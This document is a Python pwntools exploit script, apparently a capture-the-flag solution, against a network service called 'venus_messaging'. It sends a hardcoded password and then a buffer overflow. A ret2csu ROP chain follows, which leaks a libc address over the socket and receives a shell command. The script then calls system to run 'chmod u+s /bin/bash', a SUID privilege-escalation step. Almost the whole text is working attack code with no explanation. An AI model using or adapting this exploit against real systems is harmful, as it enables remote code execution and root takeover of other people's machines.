text: #!/usr/bin/env python3
  
  from pwn import *
  
  binary = context.binary = ELF('./venus_messaging')
  
  if args.REMOTE:
  	#p = remote('172.19.2.239',9080)
  	#port blocked? workaround: ssh -L 9080:localhost:9080 magellan@172.19.2.239
  	p = remote('localhost',9080)
  	libc = ELF('./libc.so.6')
  else:
  	p = remote('localhost',9080)
  	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  
  command = b'chmod u+s /bin/bash'
  fd = 0x4 # may need BF
  
  p.sendlineafter(b'password:', b'loveandbeauty')
  
  '''
    4015c0:       4c 89 f2                mov    rdx,r14
    4015c3:       4c 89 ee                mov    rsi,r13
    4015c6:       44 89 e7                mov    edi,r12d
    4015c9:       41 ff 14 df             call   QWORD PTR [r15+rbx*8]
    4015cd:       48 83 c3 01             add    rbx,0x1
    4015d1:       48 39 dd                cmp    rbp,rbx
    4015d4:       75 ea                   jne    4015c0 <__libc_csu_init+0x40>
    4015d6:       48 83 c4 08             add    rsp,0x8
    4015da:       5b                      pop    rbx
    4015db:       5d                      pop    rbp
    4015dc:       41 5c                   pop    r12
    4015de:       41 5d                   pop    r13
    4015e0:       41 5e                   pop    r14
    4015e2:       41 5f                   pop    r15
    4015e4:       c3                      ret
  '''
  
  pop_rbx_rbp_r12_r13_r14_r15 = 0x4015da
  set_rdx_rsi_rdi_call_r15 = 0x4015c0
  pop_rdi = next(binary.search(asm('pop rdi; ret')))
  
  payload  = b''
  payload += 0x418 * b'A'
  
  # reset rcx with printf
  payload += p64(pop_rdi+1)
  payload += p64(pop_rdi)
  payload += p64(binary.bss())
  payload += p64(binary.plt.printf)
  
  # leak libc via send
  payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
  payload += p64(0)					# rbx
  payload += p64(1)					# rbp to get pass check
  payload += p64(fd)					# r12 -> rdi, fd guess
  payload += p64(binary.got.puts)		# r13 -> rsi, get the address of puts to leak
  payload += p64(6)					# r14 -> rdx, just need 6 bytes
  payload += p64(binary.got.send)		# r15 pointer to function to call
  payload += p64(set_rdx_rsi_rdi_call_r15)
  # eat ret2csu pops
  payload += p64(0) * 7
  
  # reset rcx with printf
  payload += p64(pop_rdi)
  payload += p64(binary.bss())
  payload += p64(binary.plt.printf)
  
  # recv into bss our RCE shell command
  payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
  payload += p64(0)					# rbx
  payload += p64(1)					# rbp to get pass check
  payload += p64(fd)					# r12 -> rdi, fd guess
  payload += p64(binary.bss())		# r13 -> rsi, buffer to recv to
  payload += p64(len(command))		# r14 -> rdx, len for recv
  payload += p64(binary.got.recv)		# r15 pointer to function to call
  payload += p64(set_rdx_rsi_rdi_call_r15)
  # eat ret2csu pops
  payload += p64(0) * 7
  
  # back to recv_message for a 2nd pass
  payload += p64(pop_rdi)
  payload += p64(fd)
  payload += p64(binary.sym.recv_message)
  
  # catch and send stuff to ropchain
  p.sendlineafter(b'processed:\n',payload)
  p.recvline()
  p.recvline()
  _ = p.recv(6)
  libc.address = u64(_ + b'\0\0') - libc.sym.puts
  log.info('libc.address: ' + hex(libc.address))
  p.send(command)
  
  # 2nd pass payload to call system
  payload  = b''
  payload += 0x418 * b'A'
  payload += p64(pop_rdi+1)
  payload += p64(pop_rdi)
  payload += p64(binary.bss())
  payload += p64(libc.sym.system)
  
  p.sendline(payload)
  p.stream()
  